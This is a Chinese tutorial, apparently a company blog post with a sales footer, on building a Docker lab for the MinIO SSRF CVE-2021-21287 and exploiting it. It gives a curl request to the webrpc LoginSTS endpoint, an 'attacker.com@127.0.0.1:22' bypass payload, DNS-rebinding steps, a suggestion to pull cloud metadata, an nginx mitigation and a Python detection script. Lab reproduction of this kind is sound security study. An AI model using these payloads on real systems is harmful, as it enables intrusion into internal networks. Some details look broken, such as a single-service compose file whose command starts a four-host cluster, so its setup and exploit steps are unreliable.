手把手复现MinIO那个SSRF漏洞(CVE-2021-21287),用Docker一分钟搭好靶场
2026/6/5 11:32:26 网站建设 项目流程

从零构建MinIO SSRF漏洞靶场:Docker实战指南

在网络安全领域,漏洞复现是提升实战能力的关键环节。本文将带您完整走通CVE-2021-21287漏洞的复现流程,从环境搭建到漏洞验证,每个步骤都经过实战检验。不同于简单的步骤罗列,我们会深入每个操作背后的原理,并分享多个调试过程中积累的实用技巧。

1. 漏洞背景与复现价值

CVE-2021-21287是MinIO对象存储服务中存在的一个服务器端请求伪造(SSRF)漏洞。该漏洞允许攻击者通过精心构造的请求,诱使服务器向内部网络发起非预期请求。理解这个漏洞的运作机制,对学习云安全攻防具有重要意义。

为什么选择这个漏洞作为学习案例?

  • 影响广泛:MinIO作为流行的开源对象存储方案,在企业私有云部署量巨大
  • 原理典型:SSRF是云环境中的高频漏洞类型,掌握它有助理解更复杂的安全问题
  • 复现友好:不需要复杂的环境依赖,使用Docker即可完整模拟

在开始前,请确保您的系统已安装:

  • Docker Engine ≥ 19.03
  • Docker Compose ≥ 1.25
  • curl或Postman等HTTP工具

2. 精准还原漏洞环境

使用特定版本的Docker镜像是成功复现的关键。我们选择RELEASE.2021-01-16T02-19-44Z这个存在漏洞的版本,通过Docker Compose实现一键部署。

2.1 编写Compose文件

创建docker-compose.yml文件,内容如下:

version: '3.7' services: minio-vuln: image: minio/minio:RELEASE.2021-01-16T02-19-44Z volumes: - minio_data1:/data1 - minio_data2:/data2 ports: - "9000:9000" environment: MINIO_ACCESS_KEY: vulnerable MINIO_SECRET_KEY: vulnerable123 command: server http://minio{1...4}/data{1...2} healthcheck: test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"] interval: 30s timeout: 20s retries: 3 volumes: minio_data1: minio_data2:

这个配置做了几项关键设置:

  • 固定使用存在漏洞的镜像版本
  • 映射数据卷确保持久化存储
  • 暴露9000端口供外部访问
  • 设置默认凭证便于测试

2.2 启动与验证环境

执行以下命令启动容器:

docker-compose up -d

启动后需要等待约60秒,待健康检查通过。可以通过以下命令观察启动状态:

docker-compose logs --tail=50 minio-vuln

当看到Status: 200 OK的日志时,表示服务已就绪。此时访问http://localhost:9000/minio/login应能看到登录界面。

常见问题排查:

  • 如果页面无法访问,检查防火墙是否放行了9000端口
  • 查看容器日志确认没有端口冲突错误
  • 确保系统资源充足(建议分配≥2GB内存)

3. 漏洞利用深度解析

3.1 理解漏洞触发点

该SSRF漏洞存在于MinIO的WebRPC接口中,特别是web.LoginSTS方法。当服务处理特定参数时,会错误地将用户控制的输入作为内部请求的目标地址。

漏洞利用条件:

  • 未授权访问(或已知有效凭证)
  • 服务版本在受影响范围内
  • 服务器能访问目标内网地址

3.2 构造攻击请求

使用curl发送精心构造的请求:

curl -X POST http://localhost:9000/minio/webrpc \ -H "Content-Type: application/json" \ -d '{ "id":1, "jsonrpc":"2.0", "params":{"token":"http://internal-service.local"}, "method":"web.LoginSTS" }'

关键参数说明:

  • method: 必须设置为web.LoginSTS
  • params.token: 注入的目标地址,可替换为任何内部服务URL
  • jsonrpc: 保持2.0版本不变

3.3 验证漏洞存在

成功利用后,服务器会尝试访问internal-service.local。可以通过以下几种方式确认漏洞:

  1. 在本地搭建NC监听,观察是否有连接尝试
  2. 使用Burp Collaborator等工具捕获出站请求
  3. 分析MinIO服务器日志中的异常连接记录

典型响应特征:

  • 当目标不可达时,返回500 Internal Server Error
  • 错误信息中可能包含连接超时等网络层提示

4. 高级利用技巧与防御

4.1 绕过常见限制

在实际环境中,可能会遇到各种防护措施。以下是几种绕过技巧:

端口限制绕过:

"params":{"token":"http://attacker.com@127.0.0.1:22"}

DNS重绑定攻击:

  1. 控制一个域名并设置极短TTL
  2. 首次解析返回合法IP通过校验
  3. 随后解析返回内网地址实现攻击

4.2 安全加固建议

对于仍需要使用旧版本MinIO的用户,可采取以下临时缓解措施:

location /minio/webrpc { if ($request_method = POST) { return 403; } }

长期解决方案:

  • 立即升级到最新安全版本
  • 实施网络分段,限制MinIO服务器的出站连接
  • 启用身份验证并遵循最小权限原则

5. 拓展实验与学习路径

为了深化理解,建议尝试以下扩展实验:

  1. 结合其他漏洞利用

    • 尝试将SSRF与XXE漏洞结合
    • 利用该漏洞获取云元数据
  2. 自动化检测脚本开发: 使用Python编写自动检测脚本:

import requests def check_ssrf(target): payload = { "id": 1, "jsonrpc": "2.0", "params": {"token": "http://example.com"}, "method": "web.LoginSTS" } try: r = requests.post( f"{target}/minio/webrpc", json=payload, timeout=10 ) return r.status_code == 500 and "connection refused" in r.text.lower() except: return False
  1. 防御方案对比测试
    • 测试WAF规则的有效性
    • 比较不同网络隔离方案的影响

完成基础复现后,可以进一步研究:

  • MinIO的架构设计与安全边界
  • 其他云存储服务的类似漏洞模式
  • SSRF在内网渗透中的高级利用技术

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询